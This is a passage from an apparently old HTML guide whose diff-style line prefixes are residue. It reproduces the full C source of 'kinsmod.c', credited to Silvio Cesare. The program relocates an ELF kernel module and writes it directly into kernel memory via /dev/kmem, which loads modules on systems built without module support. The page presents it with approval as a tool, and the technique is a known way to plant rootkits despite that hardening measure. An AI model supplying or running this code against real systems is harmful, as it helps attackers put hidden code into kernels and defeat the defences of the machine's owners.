|
|
+<H3><A NAME="A-h"></a>Module insertion without native support</h3>
|
|
|
+
|
|
|
+<b>NAME</b> : kinsmod.c<br>
|
|
|
+<b>AUTHOR</b> : <A HREF="mailto:silvio@big.net.au">Silvio Cesare</a><br>
|
|
|
+<b>DESCRIPTION</b> : This is a very nice program which allows us to insert LKMs
|
|
|
+ on system with no native module support.<br>
|
|
|
+<b>LINK</b> : found it by a search on <A HREF="http://www.antisearch.com">http://www.antisearch.com</a><br>
|
|
|
+
|
|
|
+
|
|
|
+
|
|
|
+<xmp>
|
|
|
+/**********needed include file*/
|
|
|
+#ifndef KMEM_H
|
|
|
+#define KMEM_H
|
|
|
+
|
|
|
+#include <linux/module.h>
|
|
|
+#include <unistd.h>
|
|
|
+#include <fcntl.h>
|
|
|
+
|
|
|
+/*
|
|
|
+ these functions are anologous to standard file routines.
|
|
|
+*/
|
|
|
+
|
|
|
+#define kopen(mode) open("/dev/kmem", (mode))
|
|
|
+#define kclose(kd) close((kd))
|
|
|
+
|
|
|
+ssize_t kread(int kd, int pos, void *buf, size_t size);
|
|
|
+ssize_t kwrite(int kd, int pos, void *buf, size_t size);
|
|
|
+
|
|
|
+/*
|
|
|
+ ksyms initialization and cleanup
|
|
|
+*/
|
|
|
+
|
|
|
+int ksyms_init(const char *map);
|
|
|
+void ksyms_cleanup(void);
|
|
|
+
|
|
|
+/*
|
|
|
+ print the ksym table
|
|
|
+*/
|
|
|
+
|
|
|
+void ksyms_print(void);
|
|
|
+
|
|
|
+/*
|
|
|
+ return the ksym of name 'name' or NULL if no symbol exists
|
|
|
+*/
|
|
|
+
|
|
|
+struct kernel_sym *ksyms_find(const char *name);
|
|
|
+
|
|
|
+#endif
|
|
|
+
|
|
|
+
|
|
|
+/**********KMEM functions*/
|
|
|
+#include <stdio.h>
|
|
|
+#include <stdlib.h>
|
|
|
+#include <ctype.h>
|
|
|
+#include <string.h>
|
|
|
+#include <unistd.h>
|
|
|
+#include <fcntl.h>
|
|
|
+#include <stdio.h>
|
|
|
+#include <linux/module.h>
|
|
|
+#include <linux/unistd.h>
|
|
|
+#include "kmem.h"
|
|
|
+
|
|
|
+struct ksymlist {
|
|
|
+ struct ksymlist* next;
|
|
|
+ struct kernel_sym ksym;
|
|
|
+};
|
|
|
+
|
|
|
+struct ksymlisthead {
|
|
|
+ struct ksymlist* next;
|
|
|
+};
|
|
|
+
|
|
|
+/*
|
|
|
+ the hash size must be an integral power of two
|
|
|
+*/
|
|
|
+
|
|
|
+#define KSYM_HASH_SIZE 512
|
|
|
+
|
|
|
+struct ksymlisthead ksymhash[KSYM_HASH_SIZE];
|
|
|
+
|
|
|
+/*
|
|
|
+ these functions are anologous to standard file routines.
|
|
|
+*/
|
|
|
+
|
|
|
+ssize_t kread(int kd, int pos, void *buf, size_t size)
|
|
|
+{
|
|
|
+ int retval;
|
|
|
+
|
|
|
+ retval = lseek(kd, pos, SEEK_SET);
|
|
|
+ if (retval != pos) return retval;
|
|
|
+
|
|
|
+ return read(kd, buf, size);
|
|
|
+}
|
|
|
+
|
|
|
+ssize_t kwrite(int kd, int pos, void *buf, size_t size)
|
|
|
+{
|
|
|
+ int retval;
|
|
|
+
|
|
|
+ retval = lseek(kd, pos, SEEK_SET);
|
|
|
+ if (retval != pos) return retval;
|
|
|
+
|
|
|
+ return write(kd, buf, size);
|
|
|
+}
|
|
|
+
|
|
|
+void ksyms_print(void)
|
|
|
+{
|
|
|
+ int i;
|
|
|
+
|
|
|
+ for (i = 0; i < KSYM_HASH_SIZE; i++) {
|
|
|
+ struct ksymlist *head = (struct ksymlist *)&ksymhash[i];
|
|
|
+ struct ksymlist *current = ksymhash[i].next;
|
|
|
+
|
|
|
+ while (current != head) {
|
|
|
+ printf(
|
|
|
+ "name: %s addr: %lx\n",
|
|
|
+ current->ksym.name,
|
|
|
+ current->ksym.value
|
|
|
+ );
|
|
|
+ current = current->next;
|
|
|
+ }
|
|
|
+ }
|
|
|
+}
|
|
|
+
|
|
|
+void ksyms_cleanup(void)
|
|
|
+{
|
|
|
+ int i;
|
|
|
+
|
|
|
+ for (i = 0; i < KSYM_HASH_SIZE; i++) {
|
|
|
+ struct ksymlist *head = (struct ksymlist *)&ksymhash[i];
|
|
|
+ struct ksymlist *current = head->next;
|
|
|
+
|
|
|
+ while (current != head) {
|
|
|
+ struct ksymlist *next = current->next;
|
|
|
+
|
|
|
+ free(current);
|
|
|
+ current = next;
|
|
|
+ }
|
|
|
+ }
|
|
|
+}
|
|
|
+
|
|
|
+int hash(const char *name)
|
|
|
+{
|
|
|
+ unsigned long h;
|
|
|
+ const char *p;
|
|
|
+
|
|
|
+ for (h = 0, p = name; *p; h += (unsigned char)*p, p++);
|
|
|
+
|
|
|
+ return h & (KSYM_HASH_SIZE - 1);
|
|
|
+}
|
|
|
+
|
|
|
+int ksyminsert(struct kernel_sym *ksym)
|
|
|
+{
|
|
|
+ struct ksymlist *node;
|
|
|
+ struct ksymlisthead *head;
|
|
|
+
|
|
|
+ node = (struct ksymlist *)malloc(sizeof(struct ksymlist));
|
|
|
+ if (node == NULL) return -1;
|
|
|
+
|
|
|
+ head = &ksymhash[hash(ksym->name)];
|
|
|
+
|
|
|
+ memcpy(&node->ksym, ksym, sizeof(*ksym));
|
|
|
+
|
|
|
+ node->next = (struct ksymlist *)head->next;
|
|
|
+ head->next = node;
|
|
|
+
|
|
|
+ return 0;
|
|
|
+}
|
|
|
+
|
|
|
+int ksyms_init(const char *map)
|
|
|
+{
|
|
|
+ char s[512];
|
|
|
+ FILE *f;
|
|
|
+ int i;
|
|
|
+
|
|
|
+ for (i = 0; i < KSYM_HASH_SIZE; i++)
|
|
|
+ ksymhash[i].next = (struct ksymlist *)&ksymhash[i];
|
|
|
+
|
|
|
+ f = fopen(map, "r");
|
|
|
+ if (f == NULL) return -1;
|
|
|
+
|
|
|
+ while (fgets(s, sizeof(s), f) != NULL) {
|
|
|
+ struct kernel_sym ksym;
|
|
|
+ char *n, *p;
|
|
|
+
|
|
|
+ ksym.value = strtoul(s, &n, 16);
|
|
|
+ if (n == s || *n == 0) goto error;
|
|
|
+
|
|
|
+ p = n;
|
|
|
+ while (*p && isspace(*p)) ++p;
|
|
|
+ if (*p == 0 || p[1] == 0 || p[2] == 0) goto error;
|
|
|
+
|
|
|
+ p += 2;
|
|
|
+ n = p;
|
|
|
+ while (*p && !isspace(*p)) ++p;
|
|
|
+ if (*p) *p = 0;
|
|
|
+
|
|
|
+ strncpy(ksym.name, n, 60);
|
|
|
+
|
|
|
+ if (ksyminsert(&ksym) < 0) goto error;
|
|
|
+ }
|
|
|
+
|
|
|
+ fclose(f);
|
|
|
+ return 0;
|
|
|
+
|
|
|
+error:
|
|
|
+ fclose(f);
|
|
|
+ ksyms_cleanup();
|
|
|
+ printf("--> %s\n", s);
|
|
|
+ return -1;
|
|
|
+}
|
|
|
+
|
|
|
+struct kernel_sym *ksyms_find(const char *name)
|
|
|
+{
|
|
|
+ struct ksymlist *head = (struct ksymlist *)&ksymhash[hash(name)];
|
|
|
+ struct ksymlist *current = head->next;
|
|
|
+
|
|
|
+ while (current != head) {
|
|
|
+ if (!strncmp(current->ksym.name, name, 60))
|
|
|
+ return ¤t->ksym;
|
|
|
+
|
|
|
+ current = current->next;
|
|
|
+ }
|
|
|
+
|
|
|
+ return NULL;
|
|
|
+}
|
|
|
+
|
|
|
+
|
|
|
+
|
|
|
+/**********MAIN PROGRAM : kinsmod.c*/
|
|
|
+#include <stdio.h>
|
|
|
+#include <stdlib.h>
|
|
|
+#include <unistd.h>
|
|
|
+#include <string.h>
|
|
|
+#include <fcntl.h>
|
|
|
+#include <elf.h>
|
|
|
+#include <getopt.h>
|
|
|
+#include "kmem.h"
|
|
|
+
|
|
|
+static char system_map[] = "System.kmap";
|
|
|
+static int error = 0;
|
|
|
+static int run = 0;
|
|
|
+static int force = 0;
|
|
|
+
|
|
|
+struct _module {
|
|
|
+ Elf32_Ehdr ehdr;
|
|
|
+ Elf32_Shdr* shdr;
|
|
|
+ unsigned long maddr;
|
|
|
+ int maxlen;
|
|
|
+ int len;
|
|
|
+ int strtabidx;
|
|
|
+ char** section;
|
|
|
+};
|
|
|
+
|
|
|
+Elf32_Sym *local_sym_find(
|
|
|
+ Elf32_Sym *symtab, int n, char *strtab, const char *name
|
|
|
+)
|
|
|
+{
|
|
|
+ int i;
|
|
|
+
|
|
|
+ for (i = 0; i < n; i++) {
|
|
|
+ if (!strcmp(&strtab[symtab[i].st_name], name))
|
|
|
+ return &symtab[i];
|
|
|
+ }
|
|
|
+
|
|
|
+ return NULL;
|
|
|
+}
|
|
|
+
|
|
|
+Elf32_Sym *localall_sym_find(struct _module *module, const char *name)
|
|
|
+{
|
|
|
+ char *strtab = module->section[module->strtabidx];
|
|
|
+ int i;
|
|
|
+
|
|
|
+ for (i = 0; i < module->ehdr.e_shnum; i++) {
|
|
|
+ Elf32_Shdr *shdr = &module->shdr[i];
|
|
|
+
|
|
|
+ if (shdr->sh_type == SHT_SYMTAB) {
|
|
|
+ Elf32_Sym *sym;
|
|
|
+
|
|
|
+ sym = local_sym_find(
|
|
|
+ (Elf32_Sym *)module->section[i],
|
|
|
+ shdr->sh_size/sizeof(Elf32_Sym),
|
|
|
+ strtab,
|
|
|
+ name
|
|
|
+ );
|
|
|
+ if (sym != NULL) return sym;
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
+ return NULL;
|
|
|
+}
|
|
|
+
|
|
|
+void check_module(struct _module *module, int fd)
|
|
|
+{
|
|
|
+ Elf32_Ehdr *ehdr = &module->ehdr;
|
|
|
+
|
|
|
+ if (read(fd, ehdr, sizeof(*ehdr)) != sizeof(*ehdr)) {
|
|
|
+ perror("read");
|
|
|
+ exit(1);
|
|
|
+ }
|
|
|
+
|
|
|
+/* ELF checks */
|
|
|
+
|
|
|
+ if (strncmp(ehdr->e_ident, ELFMAG, SELFMAG)) {
|
|
|
+ fprintf(stderr, "File not ELF\n");
|
|
|
+ exit(1);
|
|
|
+ }
|
|
|
+
|
|
|
+ if (ehdr->e_type != ET_REL) {
|
|
|
+ fprintf(stderr, "ELF type not ET_REL\n");
|
|
|
+ exit(1);
|
|
|
+ }
|
|
|
+
|
|
|
+ if (ehdr->e_machine != EM_386 && ehdr->e_machine != EM_486) {
|
|
|
+ fprintf(stderr, "ELF machine type not EM_386 or EM_486\n");
|
|
|
+ exit(1);
|
|
|
+ }
|
|
|
+
|
|
|
+ if (ehdr->e_version != EV_CURRENT) {
|
|
|
+ fprintf(stderr, "ELF version not current\n");
|
|
|
+ exit(1);
|
|
|
+ }
|
|
|
+}
|
|
|
+
|
|
|
+void load_section(char **p, int fd, Elf32_Shdr *shdr)
|
|
|
+{
|
|
|
+ if (lseek(fd, shdr->sh_offset, SEEK_SET) < 0) {
|
|
|
+ perror("lseek");
|
|
|
+ exit(1);
|
|
|
+ }
|
|
|
+
|
|
|
+ *p = (char *)malloc(shdr->sh_size);
|
|
|
+ if (*p == NULL) {
|
|
|
+ perror("malloc");
|
|
|
+ exit(1);
|
|
|
+ }
|
|
|
+
|
|
|
+ if (read(fd, *p, shdr->sh_size) != shdr->sh_size) {
|
|
|
+ perror("read");
|
|
|
+ exit(1);
|
|
|
+ }
|
|
|
+}
|
|
|
+
|
|
|
+void load_module(struct _module *module, int fd)
|
|
|
+{
|
|
|
+ Elf32_Ehdr *ehdr;
|
|
|
+ Elf32_Shdr *shdr;
|
|
|
+ char **sectionp;
|
|
|
+ int slen;
|
|
|
+ int i;
|
|
|
+
|
|
|
+ check_module(module, fd);
|
|
|
+
|
|
|
+ ehdr = &module->ehdr;
|
|
|
+ slen = sizeof(Elf32_Shdr)*ehdr->e_shnum;
|
|
|
+
|
|
|
+ module->shdr = (Elf32_Shdr *)malloc(slen);
|
|
|
+ if (module->shdr == NULL) {
|
|
|
+ perror("malloc");
|
|
|
+ exit(1);
|
|
|
+ }
|
|
|
+
|
|
|
+ module->section = (char **)malloc(sizeof(char **)*ehdr->e_shnum);
|
|
|
+ if (module->section == NULL) {
|
|
|
+ perror("malloc");
|
|
|
+ exit(1);
|
|
|
+ }
|
|
|
+
|
|
|
+ if (lseek(fd, ehdr->e_shoff, SEEK_SET) < 0) {
|
|
|
+ perror("lseek");
|
|
|
+ exit(1);
|
|
|
+ }
|
|
|
+
|
|
|
+ if (read(fd, module->shdr, slen) != slen) {
|
|
|
+ perror("read");
|
|
|
+ exit(1);
|
|
|
+ }
|
|
|
+
|
|
|
+ for (
|
|
|
+ i = 0, sectionp = module->section, shdr = module->shdr;
|
|
|
+ i < ehdr->e_shnum;
|
|
|
+ i++, sectionp++
|
|
|
+ ) {
|
|
|
+ switch (shdr->sh_type) {
|
|
|
+ case SHT_NULL:
|
|
|
+ case SHT_NOTE:
|
|
|
+ case SHT_NOBITS:
|
|
|
+ break;
|
|
|
+
|
|
|
+ case SHT_STRTAB:
|
|
|
+ load_section(sectionp, fd, shdr);
|
|
|
+ if (i != ehdr->e_shstrndx)
|
|
|
+ module->strtabidx = i;
|
|
|
+ break;
|
|
|
+
|
|
|
+ case SHT_SYMTAB:
|
|
|
+ case SHT_PROGBITS:
|
|
|
+ case SHT_REL:
|
|
|
+ load_section(sectionp, fd, shdr);
|
|
|
+ break;
|
|
|
+
|
|
|
+ default:
|
|
|
+ fprintf(
|
|
|
+ stderr,
|
|
|
+ "No handler for section (type): %i\n",
|
|
|
+ shdr->sh_type
|
|
|
+ );
|
|
|
+ exit(1);
|
|
|
+ }
|
|
|
+
|
|
|
+ ++shdr;
|
|
|
+ }
|
|
|
+}
|
|
|
+
|
|
|
+void relocate(struct _module *module, Elf32_Rel *rel, Elf32_Shdr *shdr)
|
|
|
+{
|
|
|
+ Elf32_Sym *symtab = (Elf32_Sym *)module->section[shdr->sh_link];
|
|
|
+ Elf32_Sym *sym = &symtab[ELF32_R_SYM(rel->r_info)];
|
|
|
+ Elf32_Addr addr;
|
|
|
+ Elf32_Shdr *targshdr = &module->shdr[shdr->sh_info];
|
|
|
+ Elf32_Addr dot = targshdr->sh_addr + rel->r_offset;
|
|
|
+ Elf32_Addr *loc = (Elf32_Addr *)(
|
|
|
+ module->section[shdr->sh_info] + rel->r_offset
|
|
|
+ );
|
|
|
+ char *name = &module->section[module->strtabidx][sym->st_name];
|
|
|
+
|
|
|
+ if (ELF32_ST_BIND(sym->st_info) != STB_LOCAL) {
|
|
|
+ struct kernel_sym *ksym;
|
|
|
+
|
|
|
+ if (force) {
|
|
|
+ char novname[60];
|
|
|
+ int len;
|
|
|
+
|
|
|
+ len = strlen(name);
|
|
|
+ if (len > 10 && !strncmp(name + len - 10, "_R", 2)) {
|
|
|
+ strncpy(novname, name, len - 10);
|
|
|
+ novname[len - 10] = 0;
|
|
|
+ ksym = ksyms_find(novname);
|
|
|
+ } else
|
|
|
+ ksym = ksyms_find(name);
|
|
|
+ } else
|
|
|
+ ksym = ksyms_find(name);
|
|
|
+ if (ksym != NULL) {
|
|
|
+ addr = ksym->value;
|
|
|
+
|
|
|
+#ifdef DEBUG
|
|
|
+ printf(
|
|
|
+ "Extern symbol is (%s:%lx)\n",
|
|
|
+ ksym->name,
|
|
|
+ (unsigned long)addr
|
|
|
+ );
|
|
|
+#endif
|
|
|
+ goto next;
|
|
|
+ }
|
|
|
+
|
|
|
+ if (
|
|
|
+ sym->st_shndx == 0 ||
|
|
|
+ sym->st_shndx > module->ehdr.e_shnum
|
|
|
+ ) {
|
|
|
+ fprintf(
|
|
|
+ stderr,
|
|
|
+ "ERROR: undefined symbol (%s)\n", name
|
|
|
+ );
|
|
|
+ ++error;
|
|
|
+ return;
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
+ addr = sym->st_value + module->shdr[sym->st_shndx].sh_addr;
|
|
|
+
|
|
|
+#ifdef DEBUG
|
|
|
+ printf("Symbol (%s:%lx) is local\n", name, (unsigned long)addr);
|
|
|
+#endif
|
|
|
+
|
|
|
+next:
|
|
|
+ if (targshdr->sh_type == SHT_SYMTAB) return;
|
|
|
+ if (targshdr->sh_type != SHT_PROGBITS) {
|
|
|
+ fprintf(
|
|
|
+ stderr,
|
|
|
+ "Rel not PROGBITS or SYMTAB (type: %i)\n",
|
|
|
+ targshdr->sh_type
|
|
|
+ );
|
|
|
+ exit(1);
|
|
|
+ }
|
|
|
+
|
|
|
+ switch (ELF32_R_TYPE(rel->r_info)) {
|
|
|
+ case R_386_NONE:
|
|
|
+ break;
|
|
|
+
|
|
|
+ case R_386_PLT32:
|
|
|
+ case R_386_PC32:
|
|
|
+ *loc -= dot; /* *loc += addr - dot */
|
|
|
+
|
|
|
+ case R_386_32:
|
|
|
+ *loc += addr;
|
|
|
+ break;
|
|
|
+
|
|
|
+ default:
|
|
|
+ fprintf(
|
|
|
+ stderr, "No handler for Relocation (type): %i",
|
|
|
+ ELF32_R_TYPE(rel->r_info)
|
|
|
+ );
|
|
|
+ exit(1);
|
|
|
+ }
|
|
|
+}
|
|
|
+
|
|
|
+void relocate_module(struct _module *module)
|
|
|
+{
|
|
|
+ int i;
|
|
|
+
|
|
|
+ for (i = 0; i < module->ehdr.e_shnum; i++) {
|
|
|
+ if (module->shdr[i].sh_type == SHT_REL) {
|
|
|
+ int j;
|
|
|
+ Elf32_Rel *relp = (Elf32_Rel *)module->section[i];
|
|
|
+
|
|
|
+ for (
|
|
|
+ j = 0;
|
|
|
+ j < module->shdr[i].sh_size/sizeof(Elf32_Rel);
|
|
|
+ j++
|
|
|
+ ) {
|
|
|
+ relocate(
|
|
|
+ module,
|
|
|
+ relp,
|
|
|
+ &module->shdr[i]
|
|
|
+ );
|
|
|
+
|
|
|
+ ++relp;
|
|
|
+ }
|
|
|
+ }
|
|
|
+ }
|
|
|
+}
|
|
|
+
|
|
|
+void print_symaddr(struct _module *module, const char *symbol)
|
|
|
+{
|
|
|
+ Elf32_Sym *sym;
|
|
|
+
|
|
|
+ sym = localall_sym_find(module, symbol);
|
|
|
+ if (sym == NULL) {
|
|
|
+ fprintf(stderr, "No symbol (%s)\n", symbol);
|
|
|
+ ++error;
|
|
|
+ return;
|
|
|
+ }
|
|
|
+
|
|
|
+ printf(
|
|
|
+ "%s: 0x%lx\n",
|
|
|
+ symbol,
|
|
|
+ (unsigned long)module->shdr[sym->st_shndx].sh_addr
|
|
|
+ + sym->st_value
|
|
|
+ );
|
|
|
+}
|
|
|
+
|
|
|
+void init_module(struct _module *module, unsigned long maddr)
|
|
|
+{
|
|
|
+ int i;
|
|
|
+ unsigned long len = 0;
|
|
|
+
|
|
|
+ module->maddr = maddr;
|
|
|
+
|
|
|
+ for (i = 0; i < module->ehdr.e_shnum; i++) {
|
|
|
+ if (module->shdr[i].sh_type != SHT_PROGBITS) continue;
|
|
|
+
|
|
|
+ module->shdr[i].sh_addr = len + maddr;
|
|
|
+ len += module->shdr[i].sh_size;
|
|
|
+ }
|
|
|
+
|
|
|
+ module->len = len;
|
|
|
+
|
|
|
+ if (module->maxlen > 0 && module->len > module->maxlen) {
|
|
|
+ fprintf(
|
|
|
+ stderr,
|
|
|
+ "Module too large: (modsz: %i)\n",
|
|
|
+ module->len
|
|
|
+ );
|
|
|
+ exit(1);
|
|
|
+ }
|
|
|
+
|
|
|
+ printf("Module length: %i\n", module->len);
|
|
|
+
|
|
|
+ relocate_module(module);
|
|
|
+
|
|
|
+ print_symaddr(module, "init_module");
|
|
|
+ print_symaddr(module, "cleanup_module");
|
|
|
+}
|
|
|
+
|
|
|
+void do_module(struct _module *module, int fd)
|
|
|
+{
|
|
|
+ int kd;
|
|
|
+ int i;
|
|
|
+
|
|
|
+#ifdef DEBUG
|
|
|
+ for (i = 0; i < module->ehdr.e_shnum; i++) {
|
|
|
+ if (module->shdr[i].sh_type != SHT_PROGBITS) continue;
|
|
|
+
|
|
|
+ if (lseek(fd, module->shdr[i].sh_offset, SEEK_SET) < 0) {
|
|
|
+ perror("lseek");
|
|
|
+ exit(1);
|
|
|
+ }
|
|
|
+
|
|
|
+ if (
|
|
|
+ write(
|
|
|
+ fd, module->section[i], module->shdr[i].sh_size
|
|
|
+ ) != module->shdr[i].sh_size
|
|
|
+ ) {
|
|
|
+ perror("write");
|
|
|
+ exit(1);
|
|
|
+ }
|
|
|
+ }
|
|
|
+#else
|
|
|
+
|
|
|
+ kd = open("/dev/kmem", O_RDWR);
|
|
|
+ if (kd < 0) {
|
|
|
+ perror("open");
|
|
|
+ exit(1);
|
|
|
+ }
|
|
|
+
|
|
|
+ if (lseek(kd, module->maddr, SEEK_SET) < 0) {
|
|
|
+ perror("lseek");
|
|
|
+ exit(1);
|
|
|
+ }
|
|
|
+
|
|
|
+ for (i = 0; i < module->ehdr.e_shnum; i++) {
|
|
|
+ if (module->shdr[i].sh_type != SHT_PROGBITS) continue;
|
|
|
+
|
|
|
+ if (
|
|
|
+ write(
|
|
|
+ kd, module->section[i], module->shdr[i].sh_size
|
|
|
+ ) != module->shdr[i].sh_size
|
|
|
+ ) {
|
|
|
+ perror("write");
|
|
|
+ exit(1);
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
+ close(kd);
|
|
|
+#endif
|
|
|
+}
|
|
|
+
|
|
|
+int main(int argc, char *argv[])
|
|
|
+{
|
|
|
+ char *map = system_map;
|
|
|
+ struct _module module;
|
|
|
+ int fd;
|
|
|
+ int ch;
|
|
|
+ int retval = 0;
|
|
|
+
|
|
|
+ while ((ch = getopt(argc, argv, "m:tf")) != EOF) {
|
|
|
+ switch (ch) {
|
|
|
+ case 'm':
|
|
|
+ map = optarg;
|
|
|
+ break;
|
|
|
+
|
|
|
+ case 't':
|
|
|
+ ++run;
|
|
|
+ break;
|
|
|
+
|
|
|
+ case 'f':
|
|
|
+ ++force;
|
|
|
+ break;
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
+/*
|
|
|
+ so we can move options in and out without changing the codes idea
|
|
|
+ of what argv and argc look like.
|
|
|
+*/
|
|
|
+
|
|
|
+ --optind;
|
|
|
+
|
|
|
+ argv += optind;
|
|
|
+ argc -= optind;
|
|
|
+
|
|
|
+ if (argc != 3 && argc != 4) {
|
|
|
+ fprintf(
|
|
|
+ stderr,
|
|
|
+ "usage: k module [-t] [-m map] maddr(hex) [maxlen]\n"
|
|
|
+ );
|
|
|
+ exit(1);
|
|
|
+ }
|
|
|
+
|
|
|
+#ifdef DEBUG
|
|
|
+ fd = open(argv[1], O_RDWR);
|
|
|
+#else
|
|
|
+ fd = open(argv[1], O_RDONLY);
|
|
|
+#endif
|
|
|
+ if (fd < 0) {
|
|
|
+ perror("open");
|
|
|
+ exit(1);
|
|
|
+ }
|
|
|
+
|
|
|
+ if (ksyms_init(map) < 0) {
|
|
|
+ perror("ksyms_init");
|
|
|
+ exit(1);
|
|
|
+ }
|
|
|
+
|
|
|
+ module.maxlen = (argc == 4 ? atoi(argv[3]) : -1);
|
|
|
+ load_module(&module, fd);
|
|
|
+ init_module(&module, strtoul(argv[2], NULL, 16));
|
|
|
+ if (run == 0) {
|
|
|
+ if (error == 0) {
|
|
|
+ do_module(&module, fd);
|
|
|
+ } else {
|
|
|
+ fprintf(
|
|
|
+ stderr,
|
|
|
+ "FAILED: (%i) errors. Exiting...\n", error
|
|
|
+ );
|
|
|
+ ++retval;
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
+ ksyms_cleanup();
|
|
|
+
|
|
|
+ exit(retval);
|
|
|
+}
|
|
|
+</xmp>
|
|
|
+</HTML>
|